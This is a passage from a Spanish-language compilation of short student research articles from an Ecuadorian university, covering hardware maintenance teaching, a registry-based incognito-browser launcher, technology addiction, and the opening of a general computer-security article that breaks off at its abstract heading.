REFERENCIAS BIBLIOGRÁFICAS

Camacho Cadena, D. P. (2012). *Análisis del derecho del consumidor en relación al uso del comercio electrónico en el Ecuador* (Bachelor's thesis, QUITO/UIDE/2012).

Extraído de: <http://repositorio.uide.edu.ec/handle/37000/237>

Carrillo Buenaño, L. M. (2008). *El comercio electrónico en el Ecuador* (Bachelor's thesis).

Extraído de: <http://dspace.ucuenca.edu.ec/jspui/handle/123456789/17244>

Montalvo, V., & Vladimir, M. (2007). El derecho del consumidor frente al comercio electrónico en el Ecuador (Master's thesis, Universidad Andina Simón Bolívar, Sede Ecuador).

Extraído de: <http://repositorionew.uasb.edu.ec/handle/10644/2368>

Pachano Pesántez, J. A. (2013). *Comercio electrónico en el Ecuador: análisis de ventajas y desventajas de la compra y venta de productos a través del internet* (Bachelor's thesis, Quito: USFQ, 2013).

Extraído de: <http://repositorio.usfq.edu.ec/handle/23000/1834>

Puetate, P., & Carmen, G. (2014). *El Comercio Electrónico y las PYMEs en la ciudad de Tulcán* (Bachelor's thesis).

Extraído de: <http://repositorio.upec.edu.ec/handle/123456789/61>

Riveros, D. P. B., & Silva, P. P. B. (2007). EL COMERCIO ELECTRÓNICO Y LA LOGÍSTICA EN EL CONTEXTO LATINOAMERICANO. *Scientia et technica*, 3(35), 269-274.

Extraído de: <https://dialnet.unirioja.es/servlet/articulo?codigo=4804196>

Rodríguez, G. S. (2003). El E-Commerce a nivel internacional. Algunos casos. *Revista de derecho: División de Ciencias Jurídicas de la Universidad del Norte*, (20), 12-29.

Extraído de: <https://dialnet.unirioja.es/servlet/articulo?codigo=2347508>

BIOGRAFÍA DEL AUTOR

Kevin Ariel Basurto Macias Estudiante de la Universidad Estatal del Sur de Manabí, de la Carrera de Tecnologías de la Información del Cuarto Semestre Paralelo “A”, Bachiller en Informática, En la Unidad Educativa Técnico “Tarqui” Manta-Manabí- Ecuador.

Adriana Jamileth Muñiz Pincay Estudiante de la Universidad Estatal del Sur de Manabí, de la Carrera de Tecnologías de la Información del Cuarto Semestre Paralelo “A”, Bachiller en Ciencia, En la Unidad Educativa Fiscal “Pajan”, Paján-Manabí-Ecuador.

Edwin Antonio Mero Lino, Ing. En Computación y Redes, Magister en Educación Informática, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí.

Ortiz Hernández María Mercedes, Ing. En Sistemas Informáticos, Magister Informática Empresarial, docente de la carrera de Ingeniería en Computación y Redes de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí.

EL APRENDIZAJE DE LA ASIGNATURA MANTENIMIENTO DE HARDWARE EN LOS ESTUDIANTES DE TECNOLOGÍAS DE LA INFORMACIÓN

Lady Diana Ramírez Cevallos

Inés Margarita Rodríguez Pincay

Ing. Edwin Antonio Mero Lino. Mg.

Ing. María Mercedes Ortiz Hernández. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

leidygaga1989@gmail.com

maggy.rodri14111989@gmail.com

edwin_a122@hotmail.es

mariaortizh2012@hotmail.com

RESUMEN

El propósito de realizar este artículo es hacer una reflexión de como la asignatura de Mantenimiento de hardware aporta en el proceso de enseñanza - aprendizaje de los estudiantes de la Carrera de tecnología de la Información permitiéndole el desarrollo de nuevos conocimientos, nuevas estrategias y competencias; propiciando el aprendizaje significativo de una forma planificada mediante el análisis, el desarrollo de actividades, el uso de recursos didácticos como la discusión dirigida, la lectura comentada, estudios de casos con la finalidad de lograr una comunicación e interacción efectiva en la enseñanza- aprendizaje de los estudiantes y de esta manera motivar, estimular y promover el desarrollo de habilidades, la retroalimentación y auto suficiencia de los estudiantes, lo cual permite un mejor rendimiento académico logrando no solo cambios en los estudiantes, sino también en los docentes, con conocimientos tecnológicos – científicos para que de manera eficiente evaluar, instalar, administrar, operar y realizar el mantenimiento preventivo y correctivo tanto del hardware como del software, se utilizaron los métodos de investigación científica tales como; bibliográfico-documental, hipotético-deductivo, el principal resultado evidenciado es que los estudiantes obtendrán competencias necesarias para realizar planes de mantenimiento, de acuerdo a

necesidades de los usuarios, como conclusión resulta importante el desarrollo de actividades de aprendizaje donde se integren las tecnologías de información, y de esta manera permitir a los estudiantes descubrir el significado de la nueva información y así identificar la manera de alcanzar y regular su propio proceso de aprendizaje.

PALABRAS CLAVE: mantenimiento de hardware, enseñanza–aprendizaje, retroalimentación.

ABSTRACT

The purpose of this article is to reflect on how the hardware maintenance course contributes to the teaching - learning process of students of the Information Technology Career, allowing them to develop new knowledge, new strategies and competences; fostering meaningful learning in a planned way through analysis, the development of activities, the use of didactic resources such as guided discussion, guided reading, case studies in order to achieve effective communication and interaction in teaching-learning students and in this way motivate, stimulate and promote the development of skills, feedback and self-sufficiency of students, which allows a better academic achievement not only achieving changes in students, but also in teachers, with technological knowledge - scientists to efficiently evaluate, install, administer, operate and perform preventive and corrective maintenance of both hardware and software, scientific research methods such as; bibliographic-documentary, hypothetical-deductive, the main result is that students will obtain necessary skills to make maintenance plans, according to user needs, as conclusion is important to develop learning activities where information technologies are integrated , and in this way allow the students to discover the meaning of the new information and thus identify the way to reach and regulate their own learning process.

KEYWORDS: hardware maintenance, teaching - learning, feedback.

1. INTRODUCCIÓN

En la actualidad la tecnología avanza a pasos agigantados que prácticamente es indispensable el uso de herramientas tecnológicas que van de acuerdo a su variedad de percepción y aprendizaje, pero nos ayudara a desenvolvernos en este mundo donde cada día todo se vuelve digital.

El uso de las Tecnologías de la información y la comunicación han influenciado en campos como la industria, empresas, política, administración, diversión y sobre todo en la educación brindando servicios, herramientas, dispositivos etc., con la intención de mejorar la enseñanza y el aprendizaje en las instituciones educativas para un mejor desenvolvimiento y entrega de los estudiantes en sus actividades académicas.

La tecnología educativa se ha ajustado en espacios formales e informales mediante materiales didácticos que hace que cada vez gane mayor espacio en el aula de clases generando estrategias de aprendizaje en las que el estudiante obtiene y desarrolla procesos cognitivos que hacen que tenga aprendizaje significativos convirtiéndose las TICS en mediadores del saber generando conocimientos y desarrollando habilidades y actitudes que un estudiante debe tener, dejando a un lado los métodos rutinarios por otros más ágiles que ayuden a alcanzar metas educativas.

Las herramientas de internet han permitido que grupos académicos, colegios, universidades y demás centros de formación, adecuen el uso de las redes de computadores y den lugar a nuevas áreas de investigación enfocadas en la educación mediante tecnologías de la información. (CHAMORRO y PAZOS, 2017)

El uso de recursos didácticos como la discusión dirigida, la lectura comentada y estudios de casos son recursos importantes que permite motivar y estimular el interés en los estudiantes para así lograr una educación de calidad en cualquier ámbito, facilitando el proceso de formación académica de los profesionales con conocimientos tecnológicos – científicos para que de manera eficiente evaluar, instalar, administrar, operar y realizar el mantenimiento de sistemas tecnológicos, bases de datos, redes, sistemas de transmisión de datos y equipos de comunicación digital, aplicando las tecnologías emergentes en cada uno de los procesos.

El uso de herramientas didácticas para el apoyo del proceso enseñanza-aprendizaje en el ámbito educativo en la actualidad está siendo aplicado a gran escala ya que genera y estimula ganas de aprender, aumenta el nivel de atención en los estudiantes, así como también despierta el interés y crea un espíritu investigador y otros factores que ayudan a que el entendimiento de las asignaturas sea mucho más fácil de comprender.

En la primera parte de este artículo se muestra un breve marco teórico sobre mantenimiento de hardware, partes principales del computador, tipos de mantenimientos, instalación y configuración de programas, factores, actividades y que es un plan de mantenimiento de hardware, las TICS en la enseñanza-aprendizaje, aprendizaje significativo, aprendizaje colaborativo, y aprendizaje basado en problemas, esperando que éstos sean estimulados en actividades donde se da la interacción entre estudiantes y docentes.

En la segunda parte se identifican las competencias adquiridas por el uso y aplicación de las TIC en el ámbito académico de los profesionales en formación. Y se concluye con las conclusiones de los autores.

2. DESARROLLO

Teniendo en cuenta que la asignatura es teórica- práctica se utiliza para el desarrollo de los contenidos los siguientes métodos: Aprendizaje basado en problemas, Aprendizaje basado en proyectos, Aprendizaje basado en casos, Aprendizaje colaborativo, Aprendizaje por descubrimiento, Aprendizaje auténtico y Aprendizaje comprometido.

Para la utilización de los métodos de enseñanza seleccionados, se tendrán en cuenta las diferentes formas de organización de la enseñanza planificadas previamente en los planes de clases (lluvias de ideas, discusión dirigida, conferencia o exposición, lectura comentada, estudios de casos, foros, con el objetivo de seleccionar aquellos que correspondan según el caso, facilitando de esta forma la comprensión de los contenidos por parte de los estudiantes, y una mejor orientación de los temas por parte del profesor, factores de gran valor para la búsqueda del conocimiento teniendo como premisa el protagonismo estudiantil en la búsqueda de conocimientos liderados por el docente.

La utilización de estos métodos proporciona la adquisición de conocimientos, habilidades y destrezas por parte de los estudiantes, desarrollando la memoria comprensiva y los hábitos para reproducir los hechos de la realidad; con exposiciones de casos particulares partiendo de afirmaciones generales; basándose en experiencias que posibilitan la regeneración y razonamiento lógico del pensamiento, como característica esencial, permitiendo alcanzar el desarrollo de capacidades del pensamiento crítico y creativo donde la actividad de aprendizaje está centrada en el estudiante y guiada por el docente.

Mantenimiento de Hardware

En la actualidad los computadores son una herramienta utilizada en casi todos los contextos y actividades humanas. Esto porque su uso facilita tareas relacionadas con la administración y gestión de información.

Un computador como todas las cosas, debe cuidarse y mantenerse para prevenir problemas. En particular en un computador hay dos cosas distintas que deben cuidarse: el hardware (la parte física) y el software (los programas y la información que el computador tiene). De esta manera (GUEVARA, 2013) entiende por mantenimiento del computador al conjunto de actividades que se requieren realizar periódicamente para mantener al computador en óptimo estado de funcionamiento, y poder detectar a tiempo cualquier indicio de fallas o daños en sus componentes.

En general, para un funcionamiento efectivo del equipo se requiere ciertas condiciones ambientales que deben ser controladas y mantenidas dentro de ciertos parámetros. Incluyen un ambiente de trabajo limpio, iluminado, con suficiente espacio. El computador nunca puede estar expuesto al agua ni a humedad excesiva. Cuidarlo de las temperaturas muy altas y de la incidencia de la luz del sol en forma directa. Los cuidados con el equipo en sí se limitan casi siempre a mantenerlo libre de polvo y suciedades tanto externa como internamente. Evitar lo máximo posible los golpes. Y considerar que siempre que se tenga que mover o limpiar el equipo y sus periféricos, éste debe encontrarse apagado y desconectados los cables de la corriente eléctrica.

Tipos de Mantenimientos

Mantenimiento preventivo

La planificación del mantenimiento preventivo mejora la productividad y alarga la vida útil del equipo. El mantenimiento preventivo es el destinado a la conservación de equipos mediante la revisión que garantice su buen funcionamiento y fiabilidad. Se debe realizar en condiciones de funcionamiento. El primer objetivo es evitar o mitigar las consecuencias de los fallos del equipo, logrando prevenir las incidencias antes de que estas ocurran. Las tareas de

mantenimiento preventivo incluyen acciones como cambio de piezas desgastadas, limpieza, entre otras.

Como primer procedimiento, debe hacerse la revisión del computador, estando en funcionamiento, para verificar el estado del software y del hardware; porque estos influyen en el desempeño fiable del sistema, en la integridad de los datos almacenados y en el intercambio correcto de información, a la máxima velocidad posible dentro de la configuración óptima del sistema, garantizando así su buen funcionamiento.

Además, se debe agregar que el mantenimiento preventivo en general se ocupa en la determinación de condiciones operativas, de durabilidad y fiabilidad de un equipo, este tipo de mantenimiento nos ayuda en reducir los tiempos de parada que pueden generarse por mantenimiento correctivo.

Mantenimiento preventivo lógico

Es aquel que nos proporciona un buen estado del sistema operativo y de los programas que usamos a diario. Un buen mantenimiento lógico se da cuando se verifica el software que están instalados en la PC para determinar los programas a usar y ver cómo es la saturación que posee la computadora y proceder con dicho mantenimiento.

Por causa de tanta actividad de los equipos informáticos, los programas que utilizan para diseñar y las visitas en la web que son constantes, hasta si realizamos trabajos en MICROSOFT WORD; se van creando archivos en la carpeta Prefetch. Estos archivos no son más que basura que se alojan en el disco C:\ y van tomando espacio en el disco que se puede aprovechar para guardar trabajos realizados en el día a día y a la larga pueden causar problemas de velocidad en nuestro ordenador.

Otra herramienta útil para prevenir que el equipo informático colapse es la desfragmentación, que nos ayuda a que cuando buscamos archivos los encontremos de forma rápida, ya que esta herramienta escanea la superficie del disco duro y va ordenando los archivos y documentos para una búsqueda más efectiva.

Mantenimiento correctivo

El mantenimiento correctivo es sinónimo de reparar aquello que está dañado; actualmente, va más allá de esto, porque consiste en localizar averías y corregirlas, o reparar los defectos observados en los equipos cuando estén funcionando inadecuadamente. Normalmente este mantenimiento se realiza luego que ocurra una falla en el sistema; por su naturaleza no puede planificarse en el tiempo, presenta costos por reparación y repuestos no presupuestados, pues implica el cambio de algunas piezas de la computadora.

Algunas veces el equipo comienza a dar síntomas que puede llegar a indicarnos que algo anda mal, ya sea por problemas de hardware o de software; son imprevistos que impiden el buen funcionamiento de la computadora, muchas de estas fallas, sin causa aparente, pero se radica sin duda, a la ausencia de mantenimiento preventivo de hardware y de software.

Cuando se provocan las fallas, no siempre se observan a simple vista, necesitan de una inspección minuciosa de alguien que tenga los conocimientos y que sea capaz de detectar el origen de los síntomas que el equipo presenta; sin embargo, son tan diversos, que pueden ir, desde un simple descuido en la conexión eléctrica, hasta la ruptura o daño total de algunos componentes internos de la computadora.

Por lo que se puede decir, que el mantenimiento correctivo de hardware es un proceso donde se realizan reparaciones o el cambio total de las piezas de una computadora que presenta fallas, el cual impide el buen funcionamiento.

3. MATERIALES Y MÉTODOS

En el desarrollo de la presente investigación se efectuará una investigación documental y una investigación de campo con los siguientes métodos.

Método bibliográfico – documental; aplicado en la etapa de recopilación de información del tema para el proceso de elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

Método hipotético - deductivo; se utilizó este método en el proceso de análisis de los resultados para emitir las conclusiones en el trabajo de investigación.

4. RESULTADOS Y DISCUSIÓN

Como resultado de la enseñanza-aprendizaje de la asignatura de Mantenimiento de Hardware los estudiantes obtendrán las competencias: para realizar planes de mantenimiento, de acuerdo a las necesidades de los usuarios y políticas establecidas; aplicar el mantenimiento respectivo al hardware, realizar el mantenimiento a los periféricos conectados a la computadora, aplicar la instalación y configuración de programas.

Además, la oportunidad de poner en práctica lo aprendido en las aulas de clase. Aportar nuevos conocimientos de mantenimiento preventivo y correctivo.

5. CONCLUSIONES

Para concluir sobre de cómo influye el aprendizaje de la asignatura mantenimiento de hardware en los estudiantes de la carrera de TI, se puede decir que la nueva dinámica de los procesos de enseñanza-aprendizaje influidos por las TIC conducen a que el estudiante se convierte en responsable y constructor de su propio aprendizaje y dinamizador de la construcción del conocimiento grupal cuando este emerge en los grupos de trabajo colaborativo y redes de estudio. Por su parte, el docente asume el rol de tutor, orientador, facilitador y guía de los estudiantes hacia la construcción de su aprendizaje.

6. BIBLIOGRAFÍA

- Ferro Soto, C., Marínez Senra, A. I., & Otero Neira, M. (Julio de 2009). Venajas del uso de las TICs en el proceso de enseñanza-aprendizaje desde la óptica de los docentes universitarios españoles. (EDUTEC, Ed.) *Revista Electronica de Tecnologia Educativa*(29). Recuperado el 13 de Diciembre de 2018, de <http://edutec.rediris.es/revelec2/revelec29/>
- Calzadilla, M. E. (2002). Aprendizaje colaborativo y tecnologías de la información y la comunicación. *Revista Ibero Americana de Educación*, 29(1). Recuperado el 7 de Diciembre de 2018, de <https://rieoei.org/RIE/article/view/2868>
- Chamorro C, G. A., & Pazos R, D. F. (2017). *Diseño e Implementación de un sistema de gestión de aprendizaje en MOODLE para el programa de Mantenimiento en Hardware en el grado decimo de la Istitución Educativa Multipropósito de la ciudad de Cali.*

BIOGRAFÍA DEL AUTORES

Lady Diana Ramírez Cevallos, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, cuarto semestre, paralelo “A”, bachiller en Ciencias Administrativas y Comercio, en la Unidad Educativa Técnico “Uruguay”, Portoviejo-Manabí-Ecuador.

Inés Margarita Rodríguez Pincay, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, cuarto semestre, paralelo “A”, bachiller en Informática, En la Unidad Educativa Fiscal “Ariel”, Jipijapa-Manabí-Ecuador.

Ing. Edwin Antonio Mero Lino, Ingeniero en Computación y Redes, Magister en Educación Informática, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí, Jipijapa-Manabí-Ecuador.

Ing. María Mercedes Ortiz Hernández, Ingeniera en Sistemas Informáticos, Magister en Informática Empresarial, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en Computación y Redes de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí, Portoviejo-Manabí-Ecuador.

APLICACIÓN INFORMÁTICA PARA ADMINISTRAR NAVEGADORES INSTALADOS EN EL COMPUTADOR CON OPCIONES DE NAVEGACIÓN PRIVADA

Mario Henry Santana Reyes

Gissela Karina Rodríguez Palma

Lcda. Kirenia Maldonado Zúñiga. Mg.

Universidad Estatal De Sur De Manabí

mariosantana-98@hotmail.com

Resumen

Los registros de Windows son una base de datos donde guardas las configuraciones de todos los programas instalados, hasta el mismo sistema operativo guarda su configuración en archivos ini. También puede archivar los drivers de los programas y otro hardware de tu ordenador. El desarrollo de esta aplicación es para manipular dicho registro, que tenemos en nuestro ordenado, que le permitirá al usuario común interactuar con los registros de Windows, y así poder utilizar el modo incognito que le sirve para tener un mayor manejo y facilidad a la hora de seleccionar esta opción. El objetivo de esta aplicación es que permita al usuario abrir el navegador que está disponible con los enlaces personalizados en modo incognito. Con esta aplicación vamos a poder facilitar el ingreso a esta maravillosa opción. El programa le permitirá al usuario elegir que navegador desea utilizar obviamente si está previamente instalado en su ordenador, pero si usted desinstala un navegador automáticamente el programa lo detecta y deshabilita este navegador y así no podrá elegirlo. El usuario común no se atreve a hacer ninguna modificación por miedo a que pueda hacer algunos cambios en los registros y ocasionar un daño grave al sistema operativo y al ordenado, por eso desarrollamos esta aplicación donde van a poder interactuar con los registros sin necesidad de hacerlo por el medio de opción ejecutar. El resultado de la aplicación es alto, el motivo es que el usuario común puede interactuar con los registros de Windows sin necesidad de hacer configuraciones.

Palabras clave: configuraciones, registro, usuario común.

ABSTRACT

The Windows registers are a database where you save the configurations of all installed programs, until the same operating system saves its configuration in ini files. You can also archive the drivers for the programs and other hardware on your computer. The development of this application is to manipulate this record, which we have in our order, which will allow the common user to interact with the Windows registers, and thus be able to use the incognito mode that serves to have greater management and ease at the time to select this option. The purpose of this application is to allow the user to open the browser that is available with the custom links in incognito mode. With this application we will be able to facilitate the entrance to this wonderful option. The program will allow the user to choose which browser he wants to use obviously if it is previously installed on his computer, but if you uninstall a browser the program automatically detects it and disables this browser and will not be able to choose it. The common user does not dare to make any changes for fear that he can make some changes in the records and cause a damage to the operating system and the system, so we developed this application where they will be able to interact with the records without having to do it by the means of executing option. The result of the application is high, the reason is that the common user can interact with the Windows registers without having to make configurations.

Keyword: configurations, common user, registration.

1. INTRODUCCIÓN

El registro de Windows es una base de datos que se encuentra en el disco duro, guarda los ajustes de programas y del propio Windows, así como de drivers y otro hardware del ordenador. Antes de que el registro se integrara en Windows los programas, el propio sistema operativo, guardaban sus respectivas configuraciones en archivos .ini.

Con la introducción del registro, se unificó todo esto, para mejorar la intercomunicación entre distintas partes del hardware. Que permitía manejar una configuración de programas más compleja y una de las más importantes: que cada usuario del ordenador tuviera su propia configuración en cada programa. (García, 2016)

Para acceder a todo esto, el registro añadió una jerarquía en forma de árbol, en el que era más sencillo y agradable visualmente ir desplegando las pestañas hasta llegar al punto que queríamos. También se introdujo la función de búsqueda, con lo que es más fácil acceder y detectar un problema, que si tuviéramos que ir programa por programa.

2. MATERIALES Y MÉTODOS

Para el desarrollo de la presente investigación se utilizaron los siguientes métodos:

- **Método histórico-lógico:** se empleó en la búsqueda de los antecedentes del objeto de investigación.
- **Método inducción-deducción:** este método se utilizó porque partimos de una hipótesis, la misma que estuvo sujeta a comprobación.
- **Método estadístico-matemático:** este método se empleó en todo el proceso investigativo, con énfasis en la tabulación de los datos obtenidos de la encuesta y en la elaboración de los cuadros y tablas.
- **Método de revisión-bibliográfica:** con la aplicación de este método se pudo obtener toda la información con respecto al tema de investigación por medio del internet que aporten de manera significativa al proyecto.

3. RESULTADO

Resultados obtenidos de las encuestas

¿Conoce usted que es un registró de sistema?

TABLA # 1		
Alternativa	Frecuencia	%
Si	13	65
No	7	35
Total	20	100

Figura #1

Análisis de los resultados

Del total de la muestra encuestada un 65% contesto de manera afirmativa a la pregunta de si usted conoce que es un registro de sistema, mientras el 35% restante contesto de forma negativa a esta pregunta.

¿Ha visto usted una aplicación que permita abrir el navegador que está disponible con los enlaces personalizados en incognito?

TABLA # 2		
Alternativa	Frecuencia	%
Si	13	65
No	7	35
Total	20	100

Figura #2

Análisis de los resultados

Del total de la muestra encuestada un 65% contesto de manera afirmativa a la pregunta de si usted ha visto usted una aplicación que permita abrir el navegador que está disponible con los enlaces personalizados en modo normal e incognito, mientras el 35% restante contesto de forma negativa a esta pregunta.

¿Estaría usted de acuerdo en implementar una aplicación que permita abrir el navegador que está disponible con los enlaces personalizados en modo incognito?

ABLA # 3		
Alternativa	Frecuencia	%
Si	16	80
No	4	20
Total	20	100

Figura # 3

Análisis de los resultados

Del total de la muestra encuestada un 80% contesto de manera afirmativa a la pregunta de si usted está de acuerdo en implementar una aplicación que permita abrir el navegador que está disponible con los enlaces personalizados en modo normal e incognito, mientras el 20% restante contesto de forma negativa a esta pregunta.

4. CONCLUSIONES

- Del presente trabajo se ha llegado a la conclusión que es necesario analizar y manipular los registros del sistema para que así podamos integrar al software, debe tener contenido que sea relevante al tema y sin Ambigüedad.
- Una vez obtenido la información adecuada de los registros del sistema y los navegadores web procederemos a diseñar el software, donde vamos a incorporar todos los elementos recopilado en el análisis.
- Una vez terminado el diseño vamos a comenzar a integrar toda la información recopilada de los registros del sistema y los navegadores web e iniciaremos el proceso de la creación del programa.

5. REFERENCIAS BIBLIOGRÁFICAS

ELDIA. (s.f.). Obtenido de <https://www.eldia.com/nota/2015-7-30-ventajas-y-desventajas-del-sistema>

García, A. (9 de Junio de 2016). *ADSLZONE*. Obtenido de <https://www.adslzone.net/2016/06/09/funciona-sirve-registro-windows/>

BIOGRAFIA DEL AUTOR

Mario Henry Santana Reyes, estudiante de la Carrera de Ingeniera en Tecnología de la información

Gissela Karina Rodríguez Palma, estudiante de la Carrera de Ingeniera en Tecnología de la información.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

INCIDENCIAS DE ADICCIÓN TECNOLÓGICA Y EL CONTROL QUE TIENE FRENTE A SUS USUARIOS

Gema Monserrate Villacreses Muñiz

Michell Anabel Miranda Indio

José Patricio Intriago Mera

Ing. Edwin Antonio Mero Lino. Mg.

Ing. María Mercedes Ortiz Hernández. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

gemavimu@gmail.com

Resumen

Este trabajo presenta la problemática a las adicciones tecnológicas, el cual explicara, detallara y realizara un análisis exhaustivo con relación, a este tema universal, posibles formas de evitarlos y la manera correcta de mitigar sus incidencias. Se determinó los procesos que forman parte para evitar esta adicción, donde involucre el respectivo interés de la comunidad para evitar y combatir las distintas monotonías o consecuencias que provoca la adicción a la tecnología en los usuarios; el objetivo de esta investigación es analizar y evitar las adicciones tecnológicas. En las últimas décadas ha cambiado la forma de pensar de la sociedad desde lo social, político, y económico. Donde se vuelve una enfermedad que se presenta en un setenta por ciento de los usuarios la adicción a la tecnología. Los métodos utilizados en la investigación fueron: histórico-lógico, análisis-síntesis, revisión-bibliográfica. Dentro de los resultados se logró determinar un status y referencias que permitió examinar y resolver los problemas psicológicos emocionales que provocan los tipos de adicciones tecnológicos. Las conclusiones van directa a los usuarios que buscar soluciones exactas que conllevan a una rehabilitación físico-emocional para la obtención de resultados en un tiempo definido.

Palabras clave: exhaustivo, económico, mitos, político.

Abstract

This paper presents the problem to technological addictions, which will explain, detail and perform a comprehensive analysis related to this universal issue, possible ways to avoid them and the correct way to mitigate their incidents. It was determined the processes that are part to avoid this addiction, where it involves the respective interest of the community to avoid and fight the different monotones or consequences that the addiction to the technology causes in the users; The objective of this research is to analyze and avoid technological addictions. In recent decades the way of thinking of society has changed from the social, political, and economic. Where it becomes a disease that occurs in seventy percent of users addiction to technology. The methods used in the research were: historical-logical, analysis-synthesis, literature-review. Within the results it was possible to determine a status and references that allowed examining and solving the emotional psychological problems that cause the types of technological addictions. The conclusions go directly to the users that look for exact solutions that lead to a physical-emotional rehabilitation to obtain results in a defined time.

KEYWORDS: exhaustive, economic, myths, political.

1. INTRODUCCIÓN

La problemática es que en la actualidad se vive caracterizados por la fuerza que tiene la tecnología hacia nuestra persona donde la información y la comunicación dejan de formar parte de este círculo vicioso y toma el papel principal la biotecnología acompañada de sus incansables búsquedas de tendencias llamativas para involucrar a un porcentaje mayor de público, donde cada involucrado forma parte de un proceso repetitivo dando ejemplos incorrectos a su comunidad.

La mayoría de casos se dan entre niños de 2 años hasta jóvenes de 12 a 17 años e incluso en adultos, con la respectiva investigación se dará a conocer los motivos que proceden acompañados de sus resultados en los que se mostrara de manera objetiva, practica, científica y empírica, de porque el artículo se dirige a la adicción tecnológica y el control que tiene en sus usuarios.

Se encuentra infinidad de aportes beneficiosos que ayudan a evitar los daños provocados por la adicción a la tecnología, por tal razón este artículo se basa específicamente en enfermedades mentales y adicciones en el que detallamos un elemento “conducta” adaptada para su preciso

conocimiento humano y encuentre todos los procesos que van de la mano al conjunto de las distintas clases de tecnologías de información y comunicación.

2. MATERIALES Y MÉTODOS

Los materiales que llevaron a cabo la investigación fueron: diversas fuentes bibliográficas la cual permitió sustentar la investigación, revistas, artículos, libros entre otros.

Histórico-lógico: para determinar los antecedentes del proceso de enseñanza-aprendizaje en los estudiantes.

Análisis-síntesis: para analizar y sintetizar diversas opiniones de diferentes artículos para la investigación.

3. RESULTADOS Y DISCUSIÓN

Con la utilización de este tipo de diagnóstico se observó que el porcentaje sobre la adicción tecnológica cada día aumenta más, por lo que se definió en la investigación que las incidencias recaen dentro de los usuarios que se les permite una mala práctica en los distintos tipos de dispositivos tecnológicos que les provoca una necesidad involuntaria, cabe recalcar que la utilización de la investigación incide en mayor parte sobre las experiencias vividas y compartidas por la comunidad que detallo la dificultad y la falta de conocimientos para tratar esta adicción a tiempo.

4. CONCLUSIÓN

Se concluyó, que es un proceso activo e interactivo, que constituye un atributo interno de la conducta en estas personas, donde se busca dar una solución precisa, creando conciencia de las falencias que provoca esta adicción en los niños y jóvenes, ya que ellos sin darse cuenta cada día se les hace más fuerte esta adicción.

Referencias bibliográficas

Anonimo. (s.f.). Obtenido de

<http://tecnologiaysumundoblog.blogspot.com/2016/06/tecnologiaespacial-resultado-deimagen.html>

Anonimo. (s.f.). Obtenido de

<http://www.adicciones.es/index.php/adicciones/article/view/10/11>

Fariñas, L. (24 de Abril de 2016). Obtenido de <http://www.granma.cu/todo-salud/2016-04-24/adicciones-tecnologicas-en-los-mas-jovenes-24-04-2016-23-04-04>

J, T. (s.f.). Obtenido de <http://www.elsevier.es/es-revista-trastornos-adictivos-182-articulo-cognicion-social-adicciones-X1575097312403162>

Mantilla, M. M. (s.f.). Obtenido de

http://scielo.sld.cu/scielo.php?script=sci_arttext&pid=S1727-897X2017000200014

BIOGRAFÍA DEL AUTOR

Gema Monserrate Villacreses Muñiz, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, cuarto semestre, paralelo “A”.

Michell Anabel Miranda Indio, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, cuarto semestre, paralelo “A”.

José Patricio Intriago Mera, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Sistemas Computacionales.

Ing. Edwin Antonio Mero Lino, Ingeniero en Computación y Redes, Magister en Educación Informática, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí, Jipijapa-Manabí-Ecuador.

Ing. María Mercedes Ortiz Hernández, Ingeniera en Sistemas Informáticos, Magister en Informática Empresarial, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en Computación y Redes de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí, Portoviejo-Manabí-Ecuador.

SEGURIDAD INFORMÁTICA UN TEMA DE IMPORTANCIA PARA EL USUARIO

Moreira Vélez José Luis

Baque Zambrano Cesar Israel

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Roberto Wellington Acuña Caicedo. Mg.

Ing. Lenin Jonathan Pín García.Mg.

Universidad Estatal de Sur de Manabí

jolumoreirav@hotmail.com

RESUMEN

En el presente artículo tiene como objetivo presentar como se filtran los diferentes virus en las computadoras, los conceptos que ayuden a proteger la información. La tecnología de la comunicación hoy en día se está utilizando en lo laboral, en lo familiar y en lo social, esta herramienta actualmente ha llegado ser muy importante para los seres humanos, pero muchos no tienen el conocimiento para tomar medidas de prevención, detección y corrección para proteger la confidencialidad, integridad y disponibilidad proteger la información, la seguridad informática es muy imprescindible para proteger los datos del usuario. Los métodos utilizados en la investigación fueron, bibliográfico-documental, histórico lógico, hipotético deductivo. La información recolectada hizo evidente el resultado de la investigación dando a conocer que al menos tres de cada cinco empresas en la región sufrieron por lo menos un incidente de seguridad, estando en el top la infección con códigos maliciosos (45%). La mitad de ellos aparecen relacionados al ransomware, es decir que al menos una de cada cinco empresas encuestadas en toda Latinoamérica fueron víctimas del secuestro de información. Ecuador y Venezuela es el que tiene un mayor índice de infecciones de ransomware y El Salvador el que tiene el menor. En las conclusiones se determinó la importancia de mantener actualizado e informado a los usuarios sobre las últimas novedades, fraudes y/o malware informáticos. Tener

la instalación de programas de seguridad en las computadoras, como firewalls, antivirus actualizados.

PALABRAS CLAVE: firewall, infecciones, malware.

ABSTRACT

